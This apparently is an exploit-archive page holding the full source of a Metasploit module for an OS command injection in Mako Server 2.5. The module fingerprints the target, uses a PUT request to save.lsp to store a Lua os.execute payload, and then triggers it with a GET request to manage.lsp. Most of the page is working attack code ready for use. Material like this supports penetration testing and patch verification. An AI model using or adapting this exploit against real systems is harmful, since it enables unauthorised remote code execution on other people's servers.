Mako Server 2.5 Command Injection

This Metasploit module exploits a vulnerability found in Mako Server version 2.5. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.


MD5 | c03775a6cc371f5390945aeec52b7a16

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
'Description' => %q{
This module exploits a vulnerability found in Mako Server v2.5.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp.

Attacker input will be saved on the victims machine and can
be executed by sending a GET request to manage.lsp.
},
'License' => MSF_LICENSE,
'Author' =>
[
'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
],
'References' =>
[
['EDB', '42683'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Targets' =>
[
['Mako Server v2.5 - Windows x86/x64', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Sep 3 2017'))

register_options(
[
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
]
)
end

def check
vprint_status('Trying to detect running Mako Server and necessary files...')

# Send GET request to determine existence of save.lsp page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
}, 20)

# If response does not include "MakoServer.net", target is not viable.
if res.headers['Server'] !~ /MakoServer.net/
vprint_warning('Target is not a Mako Server.')
return CheckCode::Safe
end

if res.body
if res.body =~ /Incorrect usage/
# We are able to determine that the server has a save.lsp page and
# returns the correct output.
vprint_status('Mako Server save.lsp returns correct ouput.')
return CheckCode::Appears
else
# The page exists, but is not returning the expected output.
# May be a different version?
vprint_warning('Mako Server save.lsp did not return expected output.')
return CheckCode::Detected
end
else
# The above checks failed and exploitability could not be determined.
vprint_error('Unable to determine exploitability, save.lsp not found.')
return CheckCode::Unknown
end

return CheckCode::Safe
end

def exploit
print_status('Sending payload to target...')

# The double square brackets helps to ensure single/double quotes
# in cmd payload do not interfere with syntax of os.execute Lua function.
cmd = %{os.execute([[#{payload.encoded}]])}

# If users want to troubleshoot their cmd payloads, they can see the
# Lua function with params that the module uses in a more verbose mode.
vprint_status("Now executing the following command: #{cmd}")

# Send a PUT request to save.lsp with command payload
begin
vprint_status('Sending PUT request to save.lsp...')
send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp?ex=2.1'),
'ctype' => 'text/plain',
'data' => cmd,
'http' => {
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => 'http://localhost/Lua-Types.lsp'
}
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end

# Send a GET request to manage.lsp with execute set to true
begin
vprint_status('Sending GET request to manage.lsp...')
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/manage.lsp?execute=true&ex=2.1&type=lua')
}, 20)
rescue StandardError => e
fail_with(Failure::NoAccess, "Error: #{e}")
end
end
end

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